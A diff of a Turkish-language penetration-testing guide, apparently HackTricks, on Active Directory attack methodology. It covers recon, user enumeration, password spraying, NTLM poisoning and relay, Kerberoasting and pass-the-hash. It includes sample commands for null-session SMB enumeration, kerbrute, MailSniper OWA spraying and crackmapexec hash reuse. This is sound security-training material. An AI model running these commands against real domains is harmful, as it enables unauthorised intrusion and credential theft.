1. **Alan Hizmetleri** – Veri depolamasını merkezileştirir ve **kullanıcılar** ile **alanlar** arasındaki etkileşimleri yönetir; **kimlik doğrulama** ve **arama** işlevlerini içerir.
|
||||
2. **Sertifika Hizmetleri** – Güvenli **dijital sertifikaların** oluşturulması, dağıtımı ve yönetimini denetler.
|
||||
3. **Hafif Dizin Hizmetleri** – **LDAP protokolü** aracılığıyla dizin destekli uygulamaları destekler.
|
||||
4. **Dizin Federasyon Hizmetleri** – Bir oturumda birden fazla web uygulaması arasında kullanıcıları kimlik doğrulamak için **tek oturum açma** yetenekleri sağlar.
|
||||
@ -29,14 +29,17 @@ Daha ayrıntılı bir açıklama için kontrol edin: [**TechTerms - Active Direc
|
||||
|
||||
### **Kerberos Kimlik Doğrulaması**
|
||||
|
||||
Bir AD'yi nasıl **saldıracağını** öğrenmek için **Kerberos kimlik doğrulama sürecini** gerçekten iyi **anlamanız** gerekir.\
|
||||
Bir AD'yi **saldırmak** için **Kerberos kimlik doğrulama sürecini** gerçekten iyi **anlamanız** gerekir.\
|
||||
[**Nasıl çalıştığını hala bilmiyorsanız bu sayfayı okuyun.**](kerberos-authentication.md)
|
||||
|
||||
## Hile Sayfası
|
||||
|
||||
AD'yi listelemek/sömürmek için hangi komutları çalıştırabileceğinizi hızlıca görmek için [https://wadcoms.github.io/](https://wadcoms.github.io) adresine göz atabilirsiniz.
|
||||
|
||||
## Active Directory'yi Keşfetme (Kimlik bilgisi/oturum yok)
|
||||
> [!WARNING]
|
||||
> Kerberos iletişimi, eylemleri gerçekleştirmek için **tam nitelikli ad (FQDN)** gerektirir. Bir makineye IP adresiyle erişmeye çalışırsanız, **NTLM kullanır ve Kerberos değil**.
|
||||
|
||||
## Recon Active Directory (Kimlik bilgisi/oturum yok)
|
||||
|
||||
Eğer sadece bir AD ortamına erişiminiz varsa ama hiçbir kimlik bilgisi/oturumunuz yoksa şunları yapabilirsiniz:
|
||||
|
||||
@ -45,7 +48,7 @@ Eğer sadece bir AD ortamına erişiminiz varsa ama hiçbir kimlik bilgisi/oturu
|
||||
- DNS'i listelemek, alan içindeki anahtar sunucular hakkında bilgi verebilir; web, yazıcılar, paylaşımlar, vpn, medya vb.
|
||||
- `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt`
|
||||
- Bunu nasıl yapacağınız hakkında daha fazla bilgi bulmak için Genel [**Pentesting Metodolojisi**](../../generic-methodologies-and-resources/pentesting-methodology.md) sayfasına göz atın.
|
||||
- **Smb hizmetlerinde null ve Misafir erişimini kontrol et** (bu modern Windows sürümlerinde çalışmayacaktır):
|
||||
- **Smb hizmetlerinde null ve Guest erişimini kontrol et** (bu modern Windows sürümlerinde çalışmayacaktır):
|
||||
- `enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>`
|
||||
- `smbmap -u "" -p "" -P 445 -H <DC IP> && smbmap -u "guest" -p "" -P 445 -H <DC IP>`
|
||||
- `smbclient -U '%' -L //<DC IP> && smbclient -U 'guest%' -L //`
|
||||
@ -57,7 +60,7 @@ Eğer sadece bir AD ortamına erişiminiz varsa ama hiçbir kimlik bilgisi/oturu
|
||||
|
||||
- **Ldap'ı listele**
|
||||
- `nmap -n -sV --script "ldap* and not brute" -p 389 <DC IP>`
|
||||
- LDAP'ı listelemek için daha ayrıntılı bir kılavuz burada bulunabilir (lütfen **anonim erişime** özel dikkat gösterin):
|
||||
- LDAP'ı listelemek için daha ayrıntılı bir kılavuz burada bulunabilir (özellikle **anonim erişime** dikkat edin):
|
||||
|
||||
{{#ref}}
|
||||
../../network-services-pentesting/pentesting-ldap.md
|
||||
@ -65,11 +68,11 @@ Eğer sadece bir AD ortamına erişiminiz varsa ama hiçbir kimlik bilgisi/oturu
|
||||
|
||||
- **Ağı zehirle**
|
||||
- Kimlik bilgilerini [**Responder ile hizmetleri taklit ederek**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) toplayın.
|
||||
- [**relay saldırısını istismar ederek**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) bir ana bilgisayara erişin.
|
||||
- Kimlik bilgilerini **açığa çıkararak** [**kötü amaçlı UPnP hizmetleri ile**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856) toplayın.
|
||||
- [**Relay saldırısını istismar ederek**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) bir hosta erişin.
|
||||
- Kimlik bilgilerini **açığa çıkararak** [**kötü niyetli UPnP hizmetleri ile**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856) toplayın.
|
||||
- [**OSINT**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/index.html):
|
||||
- İç belgelerden, sosyal medyadan, hizmetlerden (özellikle web) alan ortamları içinde ve ayrıca kamuya açık kaynaklardan kullanıcı adları/isimler çıkarın.
|
||||
- Eğer şirket çalışanlarının tam isimlerini bulursanız, farklı AD **kullanıcı adı konvansiyonlarını** deneyebilirsiniz (**[bunu okuyun](https://activedirectorypro.com/active-directory-user-naming-convention/)**). En yaygın konvansiyonlar şunlardır: _AdSoyad_, _Ad.Soyad_, _AdSoy_ (her birinin 3 harfi), _Ad.Soy_, _NSoyad_, _N.Soyad_, _SoyadAd_, _Soyad.Ad_, _SoyadN_, _Soyad.N_, 3 _rastgele harf ve 3 rastgele rakam_ (abc123).
|
||||
- İç belgelerden, sosyal medyadan, hizmetlerden (özellikle web) alan ortamları içinde ve ayrıca kamuya açık kaynaklardan kullanıcı adlarını/isimleri çıkarın.
|
||||
- Şirket çalışanlarının tam isimlerini bulursanız, farklı AD **kullanıcı adı konvansiyonlarını** deneyebilirsiniz (**[bunu okuyun](https://activedirectorypro.com/active-directory-user-naming-convention/)**). En yaygın konvansiyonlar: _AdSoyad_, _Ad.Soyad_, _AdSoy_ (her birinin 3 harfi), _Ad.Soy_, _ASoyad_, _A.Soyad_, _SoyadAd_, _Soyad.Ad_, _SoyadA_, _Soyad.A_, 3 _rastgele harf ve 3 rastgele rakam_ (abc123).
|
||||
- Araçlar:
|
||||
- [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username)
|
||||
- [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy)
|
||||
@ -77,8 +80,8 @@ Eğer sadece bir AD ortamına erişiminiz varsa ama hiçbir kimlik bilgisi/oturu
|
||||
### Kullanıcı listeleme
|
||||
|
||||
- **Anonim SMB/LDAP listeleme:** [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) ve [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md) sayfalarını kontrol edin.
|
||||
- **Kerbrute listeleme**: Bir **geçersiz kullanıcı adı istendiğinde**, sunucu **Kerberos hatası** kodu _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_ kullanarak yanıt verecek, bu da kullanıcı adının geçersiz olduğunu belirlememizi sağlayacaktır. **Geçerli kullanıcı adları**, ya **AS-REP** yanıtında **TGT** alacak ya da _KRB5KDC_ERR_PREAUTH_REQUIRED_ hatasını verecek, bu da kullanıcının ön kimlik doğrulama yapması gerektiğini gösterir.
|
||||
- **MS-NRPC'ye karşı Kimlik Doğrulama Yok**: Alan denetleyicilerindeki MS-NRPC (Netlogon) arayüzüne karşı auth-level = 1 (Kimlik doğrulama yok) kullanarak. Bu yöntem, kullanıcı veya bilgisayarın kimlik bilgisi olmadan var olup olmadığını kontrol etmek için MS-NRPC arayüzüne bağlandıktan sonra `DsrGetDcNameEx2` fonksiyonunu çağırır. [NauthNRPC](https://github.com/sud0Ru/NauthNRPC) aracı bu tür bir listelemeyi uygular. Araştırma [burada](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf) bulunabilir.
|
||||
- **Kerbrute listeleme**: Bir **geçersiz kullanıcı adı istendiğinde**, sunucu **Kerberos hata** kodu _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_ kullanarak yanıt verecek ve bu da kullanıcı adının geçersiz olduğunu belirlememizi sağlayacaktır. **Geçerli kullanıcı adları**, ya **AS-REP** yanıtında **TGT** alacak ya da _KRB5KDC_ERR_PREAUTH_REQUIRED_ hatasını verecek, bu da kullanıcının ön kimlik doğrulama yapması gerektiğini gösterir.
|
||||
- **MS-NRPC'ye karşı Kimlik Doğrulama Yok**: Alan denetleyicilerindeki MS-NRPC (Netlogon) arayüzüne karşı auth-level = 1 (Kimlik doğrulama yok) kullanarak. Yöntem, kullanıcı veya bilgisayarın kimlik bilgisi olmadan var olup olmadığını kontrol etmek için MS-NRPC arayüzüne bağlandıktan sonra `DsrGetDcNameEx2` fonksiyonunu çağırır. [NauthNRPC](https://github.com/sud0Ru/NauthNRPC) aracı bu tür bir listelemeyi uygular. Araştırma [burada](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf) bulunabilir.
|
||||
```bash
|
||||
./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases
|
||||
|
||||
@ -92,7 +95,7 @@ python3 nauth.py -t target -u users_file.txt #From https://github.com/sud0Ru/Nau
|
||||
```
|
||||
- **OWA (Outlook Web Access) Sunucusu**
|
||||
|
||||
Eğer ağda bu sunuculardan birini bulursanız, ona karşı **kullanıcı sayımı** da gerçekleştirebilirsiniz. Örneğin, [**MailSniper**](https://github.com/dafthack/MailSniper) aracını kullanabilirsiniz:
|
||||
Eğer ağda bu sunuculardan birini bulursanız, ona karşı **kullanıcı sayımı** da yapabilirsiniz. Örneğin, [**MailSniper**](https://github.com/dafthack/MailSniper) aracını kullanabilirsiniz:
|
||||
```bash
|
||||
ipmo C:\Tools\MailSniper\MailSniper.ps1
|
||||
# Get info about the domain
|
||||
@ -105,7 +108,7 @@ Invoke-PasswordSprayOWA -ExchHostname [ip] -UserList .\valid.txt -Password Summe
|
||||
Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password Summer2021 -OutFile gal.txt
|
||||
```
|
||||
> [!WARNING]
|
||||
> Kullanıcı adlarının listelerini [**bu github repo**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) \*\*\*\* ve bu ([**istatistiksel olarak muhtemel kullanıcı adları**](https://github.com/insidetrust/statistically-likely-usernames)) içinde bulabilirsiniz.
|
||||
> Kullanıcı adlarının listelerini [**bu github repo**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) ve bu ([**istatistiksel olarak muhtemel kullanıcı adları**](https://github.com/insidetrust/statistically-likely-usernames)) içinde bulabilirsiniz.
|
||||
>
|
||||
> Ancak, bu adımda daha önce gerçekleştirmiş olmanız gereken keşif aşamasından **şirket çalışanlarının isimlerini** almış olmalısınız. İsim ve soyadı ile [**namemash.py**](https://gist.github.com/superkojiman/11076951) scriptini kullanarak potansiyel geçerli kullanıcı adları oluşturabilirsiniz.
|
||||
|
||||
@ -113,7 +116,7 @@ Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password
|
||||
|
||||
Tamam, geçerli bir kullanıcı adınız var ama şifre yok... O zaman deneyin:
|
||||
|
||||
- [**ASREPRoast**](asreproast.md): Eğer bir kullanıcının _DONT_REQ_PREAUTH_ niteliği **yoksa**, o kullanıcı için **AS_REP mesajı talep edebilirsiniz**; bu mesaj, kullanıcının şifresinin bir türevi ile şifrelenmiş bazı verileri içerecektir.
|
||||
- [**ASREPRoast**](asreproast.md): Eğer bir kullanıcının _DONT_REQ_PREAUTH_ niteliği **yoksa**, o kullanıcı için **bir AS_REP mesajı talep edebilirsiniz**; bu mesaj, kullanıcının şifresinin bir türevi ile şifrelenmiş bazı verileri içerecektir.
|
||||
- [**Password Spraying**](password-spraying.md): Bulduğunuz her kullanıcı ile en **yaygın şifreleri** deneyelim, belki bazı kullanıcı kötü bir şifre kullanıyordur (şifre politikasını aklınızda bulundurun!).
|
||||
- Ayrıca, kullanıcıların mail sunucularına erişim sağlamak için **OWA sunucularını da spray yapabilirsiniz**.
|
||||
|
||||
@ -123,19 +126,19 @@ password-spraying.md
|
||||
|
||||
### LLMNR/NBT-NS Zehirleme
|
||||
|
||||
Bazı zorluk **hash'lerini** elde edebilmeniz mümkün olabilir, bu da **ağ** protokollerini **zehirleyerek** yapılabilir:
|
||||
Bazı zorluk **hash'lerini** elde edebilmek için **ağ** protokollerini **zehirleyerek** **elde edebilirsiniz**:
|
||||
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
|
||||
{{#endref}}
|
||||
|
||||
### NTLM İletimi
|
||||
### NTLM Relay
|
||||
|
||||
Eğer aktif dizini listelemeyi başardıysanız, **daha fazla e-posta ve ağ hakkında daha iyi bir anlayışa sahip olacaksınız**. NTLM [**iletim saldırılarını**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) \*\*\*\* zorlayarak AD ortamına erişim sağlamayı deneyebilirsiniz.
|
||||
Eğer aktif dizini listelemeyi başardıysanız, **daha fazla e-posta ve ağ hakkında daha iyi bir anlayışa sahip olacaksınız**. NTLM [**relay saldırılarını**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) zorlayarak AD ortamına erişim sağlamayı deneyebilirsiniz.
|
||||
|
||||
### NTLM Kimlik Bilgilerini Çalma
|
||||
|
||||
Eğer **null veya misafir kullanıcısı** ile **diğer PC'lere veya paylaşımlara erişiminiz** varsa, **dosyalar yerleştirebilirsiniz** (örneğin bir SCF dosyası) ve bu dosyaya erişildiğinde **sizinle NTLM kimlik doğrulaması tetiklenecektir**, böylece **NTLM zorluğunu çalabilirsiniz**:
|
||||
Eğer **null veya misafir kullanıcısı** ile **diğer PC'lere veya paylaşımlara erişiminiz** varsa, **NTLM kimlik doğrulamasını tetikleyecek** (bir SCF dosyası gibi) **dosyalar yerleştirebilirsiniz**; böylece **NTLM zorluğunu çalabilirsiniz**:
|
||||
|
||||
{{#ref}}
|
||||
../ntlm/places-to-steal-ntlm-creds.md
|
||||
@ -143,7 +146,7 @@ Eğer **null veya misafir kullanıcısı** ile **diğer PC'lere veya paylaşıml
|
||||
|
||||
## Kimlik bilgileri/oturum ile Aktif Dizin Listeleme
|
||||
|
||||
Bu aşama için **geçerli bir alan hesabının kimlik bilgilerini veya oturumunu ele geçirmiş olmanız gerekir.** Eğer geçerli kimlik bilgilerine veya bir alan kullanıcısı olarak bir shell'e sahipseniz, **önceki seçeneklerin hala diğer kullanıcıları ele geçirmek için seçenekler olduğunu hatırlamalısınız.**
|
||||
Bu aşama için **geçerli bir alan hesabının kimlik bilgilerini veya oturumunu ele geçirmiş olmanız gerekir.** Eğer geçerli kimlik bilgilerine veya bir alan kullanıcısı olarak bir shell'e sahipseniz, **önceki seçeneklerin hala diğer kullanıcıları ele geçirmek için seçenekler olduğunu unutmayın**.
|
||||
|
||||
Kimlik doğrulamalı listelemeye başlamadan önce **Kerberos çift atlama sorununu** bilmelisiniz.
|
||||
|
||||
@ -160,12 +163,12 @@ Bir hesabı ele geçirmek, **tüm alanı ele geçirmeye başlamak için büyük
|
||||
- [**Temel bir keşif yapmak için CMD kullanabilirsiniz**](../basic-cmd-for-pentesters.md#domain-info)
|
||||
- Ayrıca [**keşif için powershell kullanabilirsiniz**](../basic-powershell-for-pentesters/index.html) bu daha gizli olacaktır
|
||||
- Daha ayrıntılı bilgi çıkarmak için [**powerview kullanabilirsiniz**](../basic-powershell-for-pentesters/powerview.md)
|
||||
- Aktif dizinde keşif için başka harika bir araç [**BloodHound**](bloodhound.md). **Çok gizli değildir** (kullandığınız toplama yöntemlerine bağlı olarak), ama **bununla ilgilenmiyorsanız**, kesinlikle denemelisiniz. Kullanıcıların RDP yapabileceği yerleri bulun, diğer gruplara giden yolları keşfedin, vb.
|
||||
- Aktif dizinde keşif için başka bir harika araç [**BloodHound**](bloodhound.md). **Çok gizli değildir** (kullandığınız toplama yöntemlerine bağlı olarak), ama **bununla ilgilenmiyorsanız**, kesinlikle denemelisiniz. Kullanıcıların RDP yapabileceği yerleri bulun, diğer gruplara giden yolları keşfedin, vb.
|
||||
- **Diğer otomatik AD listeleme araçları şunlardır:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
|
||||
- [**AD'nin DNS kayıtları**](ad-dns-records.md) ilginç bilgiler içerebilir.
|
||||
- Dizin listelemek için kullanabileceğiniz **GUI'ye sahip bir araç** **AdExplorer.exe**'dir, **SysInternal** Suite'ten.
|
||||
- Ayrıca _userPassword_ & _unixUserPassword_ alanlarında veya hatta _Description_ için kimlik bilgilerini aramak üzere **ldapsearch** ile LDAP veritabanında arama yapabilirsiniz. Diğer yöntemler için [PayloadsAllTheThings'deki AD Kullanıcı yorumundaki Şifre](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) bağlantısına bakın.
|
||||
- **Linux** kullanıyorsanız, [**pywerview**](https://github.com/the-useless-one/pywerview) kullanarak alanı listeleyebilirsiniz.
|
||||
- Ayrıca, _userPassword_ ve _unixUserPassword_ alanlarında veya hatta _Description_ için kimlik bilgilerini aramak üzere **ldapsearch** ile LDAP veritabanında arama yapabilirsiniz. Diğer yöntemler için [PayloadsAllTheThings'deki AD Kullanıcı yorumundaki şifre](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) için bakın.
|
||||
- **Linux** kullanıyorsanız, [**pywerview**](https://github.com/the-useless-one/pywerview) kullanarak alanı da listeleyebilirsiniz.
|
||||
- Ayrıca otomatik araçlar denemek isteyebilirsiniz:
|
||||
- [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch)
|
||||
- [**61106960/adPEAS**](https://github.com/61106960/adPEAS)
|
||||
@ -177,7 +180,7 @@ Windows'tan tüm alan kullanıcı adlarını elde etmek çok kolaydır (`net use
|
||||
|
||||
### Kerberoast
|
||||
|
||||
Kerberoasting, kullanıcı hesaplarına bağlı hizmetler tarafından kullanılan **TGS biletlerini** elde etmeyi ve bunların şifrelemesini—kullanıcı şifrelerine dayalı olarak—**çözmeyi** içerir.
|
||||
Kerberoasting, kullanıcı hesaplarına bağlı hizmetler tarafından kullanılan **TGS biletlerini** elde etmeyi ve bunların şifrelemesini—kullanıcı şifrelerine dayalı olan—**çözmeyi** içerir.
|
||||
|
||||
Bununla ilgili daha fazla bilgi:
|
||||
|
||||
@ -191,9 +194,9 @@ Bazı kimlik bilgilerini elde ettikten sonra, herhangi bir **makineye** erişimi
|
||||
|
||||
### Yerel Yetki Yükseltme
|
||||
|
||||
Eğer ele geçirilmiş kimlik bilgilerine veya bir oturumda normal bir alan kullanıcısı olarak erişiminiz varsa ve bu kullanıcı ile **alan içindeki herhangi bir makineye erişiminiz** varsa, **yerel olarak yetki yükseltme ve kimlik bilgilerini çalma** yolunu bulmaya çalışmalısınız. Çünkü yalnızca yerel yönetici ayrıcalıkları ile diğer kullanıcıların **hash'lerini bellekten (LSASS) ve yerel olarak (SAM) dökebilirsiniz.**
|
||||
Eğer ele geçirilmiş kimlik bilgilerine veya bir oturuma sahipseniz ve bu kullanıcı ile **alan içindeki herhangi bir makineye erişiminiz** varsa, **yerel olarak yetki yükseltme yollarını bulmaya ve kimlik bilgilerini çalmaya** çalışmalısınız. Çünkü yalnızca yerel yönetici ayrıcalıkları ile **diğer kullanıcıların hash'lerini** bellekte (LSASS) ve yerel olarak (SAM) **dökmek** mümkün olacaktır.
|
||||
|
||||
Bu kitapta [**Windows'ta yerel yetki yükseltme**](../windows-local-privilege-escalation/index.html) hakkında bir sayfa ve bir [**kontrol listesi**](../checklist-windows-privilege-escalation.md) bulunmaktadır. Ayrıca, [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) kullanmayı unutmayın.
|
||||
Bu kitapta [**Windows'ta yerel yetki yükseltme**](../windows-local-privilege-escalation/index.html) hakkında kapsamlı bir sayfa ve bir [**kontrol listesi**](../checklist-windows-privilege-escalation.md) bulunmaktadır. Ayrıca, [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) kullanmayı unutmayın.
|
||||
|
||||
### Mevcut Oturum Biletleri
|
||||
|
||||
@ -209,9 +212,9 @@ Mevcut kullanıcıda **beklenmedik kaynaklara erişim izni veren** **biletler**
|
||||
|
||||
Eğer aktif dizini listelemeyi başardıysanız, **daha fazla e-posta ve ağ hakkında daha iyi bir anlayışa sahip olacaksınız**. NTLM [**relay saldırılarını**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)** gerçekleştirebilirsiniz.**
|
||||
|
||||
### **Bilgisayar Paylaşımlarında Kimlik Bilgilerini Arayın**
|
||||
### Bilgisayar Paylaşımlarında Kimlik Bilgilerini Ara | SMB Paylaşımları
|
||||
|
||||
Artık bazı temel kimlik bilgilerine sahip olduğunuza göre, **AD içinde paylaşılan ilginç dosyaları bulup bulamayacağınızı kontrol etmelisiniz**. Bunu manuel olarak yapabilirsiniz ama bu çok sıkıcı ve tekrarlayan bir görevdir (ve kontrol etmeniz gereken yüzlerce belge bulursanız daha da fazla).
|
||||
Artık bazı temel kimlik bilgilerine sahip olduğunuza göre, **AD içinde paylaşılan** herhangi bir **ilginç dosya bulup bulamayacağınızı kontrol etmelisiniz**. Bunu manuel olarak yapabilirsiniz ama bu çok sıkıcı ve tekrarlayan bir görevdir (ve kontrol etmeniz gereken yüzlerce belge bulursanız daha da fazla).
|
||||
|
||||
[**Kullanabileceğiniz araçlar hakkında bilgi almak için bu bağlantıyı takip edin.**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search)
|
||||
|
||||
@ -231,25 +234,25 @@ Bu güvenlik açığı, herhangi bir kimlik doğrulaması yapılmış kullanıc
|
||||
printnightmare.md
|
||||
{{#endref}}
|
||||
|
||||
## Aktif Dizin'de Yetki Yükseltme Özel Yetkiler/Kimlik Bilgileri ile
|
||||
## Aktif Dizin'de Yetki Yükseltme ÖZEL yetkiler/oturum ile
|
||||
|
||||
**Aşağıdaki teknikler için normal bir alan kullanıcısı yeterli değildir, bu saldırıları gerçekleştirmek için bazı özel yetkilere/kimlik bilgilerine ihtiyacınız var.**
|
||||
|
||||
### Hash çıkarımı
|
||||
|
||||
Umarım [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) dahil olmak üzere bazı yerel yönetici hesaplarını **tehdit etmeyi başardınız**. [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [yerel olarak yetki yükseltme](../windows-local-privilege-escalation/index.html).\
|
||||
Umarım [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) dahil olmak üzere, yerel bir yönetici hesabını **tehlikeye atmayı başardınız**. [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [yerel olarak yetki yükseltme](../windows-local-privilege-escalation/index.html).\
|
||||
Sonra, bellek ve yerel olarak tüm hash'leri dökme zamanı.\
|
||||
[**Hash'leri elde etmenin farklı yolları hakkında bu sayfayı okuyun.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
|
||||
|
||||
### Hash'i Geç
|
||||
|
||||
**Bir kullanıcının hash'ine sahip olduğunuzda**, onu **taklit etmek için** kullanabilirsiniz.\
|
||||
Bu **hash** ile **NTLM kimlik doğrulamasını gerçekleştirecek** bir **araç** kullanmalısınız, **veya** yeni bir **sessionlogon** oluşturup bu **hash'i** **LSASS** içine **enjekte** edebilirsiniz, böylece herhangi bir **NTLM kimlik doğrulaması yapıldığında**, o **hash kullanılacaktır.** Son seçenek, mimikatz'ın yaptığıdır.\
|
||||
Bu **hash** ile **NTLM kimlik doğrulaması gerçekleştirecek** bir **araç** kullanmalısınız, **veya** yeni bir **oturum açma** oluşturup bu **hash'i** **LSASS** içine **enjekte** edebilirsiniz, böylece herhangi bir **NTLM kimlik doğrulaması gerçekleştirildiğinde**, o **hash kullanılacaktır.** Son seçenek, mimikatz'ın yaptığıdır.\
|
||||
[**Daha fazla bilgi için bu sayfayı okuyun.**](../ntlm/index.html#pass-the-hash)
|
||||
|
||||
### Hash'i Aş/ Anahtarı Geç
|
||||
|
||||
Bu saldırı, **kullanıcı NTLM hash'ini Kerberos biletleri talep etmek için kullanmayı** amaçlar; bu, yaygın Pass The Hash NTLM protokolüne alternatif olarak. Bu nedenle, bu özellikle **NTLM protokolünün devre dışı bırakıldığı** ve yalnızca **Kerberos'un** kimlik doğrulama protokolü olarak **izin verildiği** ağlarda **yararlı olabilir**.
|
||||
Bu saldırı, **Kullanıcı NTLM hash'ini Kerberos biletleri talep etmek için kullanmayı** amaçlar; bu, yaygın Pass The Hash NTLM protokolüne alternatif olarak. Bu nedenle, bu özellikle **NTLM protokolünün devre dışı bırakıldığı** ve yalnızca **Kerberos'un** kimlik doğrulama protokolü olarak **izin verildiği** ağlarda **yararlı olabilir**.
|
||||
|
||||
{{#ref}}
|
||||
over-pass-the-hash-pass-the-key.md
|
||||
@ -257,13 +260,13 @@ over-pass-the-hash-pass-the-key.md
|
||||
|
||||
### Bileti Geç
|
||||
|
||||
**Pass The Ticket (PTT)** saldırı yönteminde, saldırganlar **bir kullanıcının kimlik doğrulama biletini** çalarlar, bunun yerine şifrelerini veya hash değerlerini alırlar. Bu çalınan bilet daha sonra **kullanıcıyı taklit etmek için** kullanılır ve bir ağ içindeki kaynaklara ve hizmetlere yetkisiz erişim sağlar.
|
||||
**Pass The Ticket (PTT)** saldırı yönteminde, saldırganlar **bir kullanıcının kimlik doğrulama biletini çalar**; bunun yerine şifrelerini veya hash değerlerini alırlar. Bu çalınan bilet daha sonra **kullanıcıyı taklit etmek için** kullanılır ve bir ağ içindeki kaynaklara ve hizmetlere yetkisiz erişim sağlar.
|
||||
|
||||
{{#ref}}
|
||||
pass-the-ticket.md
|
||||
{{#endref}}
|
||||
|
||||
### Kimlik Bilgileri Yeniden Kullanımı
|
||||
### Kimlik Bilgilerini Yeniden Kullanma
|
||||
|
||||
Eğer bir **yerel yönetici**'nin **hash'ine** veya **şifresine** sahipseniz, bunu kullanarak diğer **PC'lere** **yerel olarak giriş yapmayı** denemelisiniz.
|
||||
```bash
|
||||
@ -278,7 +281,7 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
|
||||
|
||||
Bir kullanıcının **MSSQL örneklerine erişim** yetkisi varsa, MSSQL ana bilgisayarında **komutlar çalıştırmak**, NetNTLM **hash**'ini **çalmak** veya hatta bir **relay** **saldırısı** gerçekleştirmek için bunu kullanabilir.\
|
||||
Ayrıca, bir MSSQL örneği başka bir MSSQL örneği tarafından güvenilir (veritabanı bağlantısı) olarak işaretlenmişse, eğer kullanıcı güvenilir veritabanı üzerinde yetkilere sahipse, **güven ilişkisini kullanarak diğer örnekte de sorgular çalıştırabilecektir**. Bu güven ilişkileri zincirlenebilir ve bir noktada kullanıcı, komutları çalıştırabileceği yanlış yapılandırılmış bir veritabanı bulabilir.\
|
||||
**Veritabanları arasındaki bağlantılar, orman güven ilişkileri boyunca bile çalışır.**
|
||||
**Veritabanları arasındaki bağlantılar, orman güvenleri arasında bile çalışır.**
|
||||
|
||||
{{#ref}}
|
||||
abusing-ad-mssql.md
|
||||
@ -313,7 +316,7 @@ resource-based-constrained-delegation.md
|
||||
|
||||
### ACL'lerin Kötüye Kullanımı
|
||||
|
||||
Ele geçirilmiş bir kullanıcının, bazı alan nesneleri üzerinde bazı **ilginç yetkilere** sahip olması, kullanıcının **yanal hareket etmesine**/**yetkileri yükseltmesine** olanak tanıyabilir.
|
||||
Ele geçirilmiş bir kullanıcı, bazı alan nesneleri üzerinde bazı **ilginç yetkilere** sahip olabilir ve bu da size **yanal hareket etme**/**yetki yükseltme** imkanı verebilir.
|
||||
|
||||
{{#ref}}
|
||||
acl-persistence-abuse/
|
||||
@ -321,7 +324,7 @@ acl-persistence-abuse/
|
||||
|
||||
### Yazıcı Spooler Hizmeti Kötüye Kullanımı
|
||||
|
||||
Alan içinde bir **Spool hizmetinin dinlendiğini** keşfetmek, **yeni kimlik bilgileri edinmek** ve **yetkileri yükseltmek** için **kötüye kullanılabilir**.
|
||||
